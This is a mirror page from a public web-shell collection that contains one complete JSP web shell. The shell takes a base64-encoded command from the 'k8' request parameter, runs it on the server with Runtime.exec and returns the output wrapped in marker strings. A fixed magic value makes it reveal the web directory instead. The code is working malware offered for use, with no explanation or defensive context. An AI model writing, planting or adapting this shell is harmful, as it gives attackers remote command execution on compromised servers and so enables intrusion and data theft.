mirror of
https://github.com/tennc/webshell
synced 2024-11-29 14:40:17 +00:00
28 lines
No EOL
716 B
Text
28 lines
No EOL
716 B
Text
<%@page import="java.io.*"%>
|
|
<%@page import="sun.misc.BASE64Decoder"%>
|
|
<%
|
|
try {
|
|
String cmd = request.getParameter("k8");
|
|
String path=application.getRealPath(request.getRequestURI());
|
|
String dir=new File(path).getParent();
|
|
if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]");}
|
|
byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
|
|
String k8cmd = new String(binary);
|
|
Process child = Runtime.getRuntime().exec(k8cmd);
|
|
InputStream in = child.getInputStream();
|
|
out.print("->|");
|
|
int c;
|
|
while ((c = in.read()) != -1) {
|
|
out.print((char)c);
|
|
}
|
|
in.close();
|
|
out.print("|<-");
|
|
try {
|
|
child.waitFor();
|
|
} catch (InterruptedException e) {
|
|
e.printStackTrace();
|
|
}
|
|
} catch (IOException e) {
|
|
System.err.println(e);
|
|
}
|
|
%> |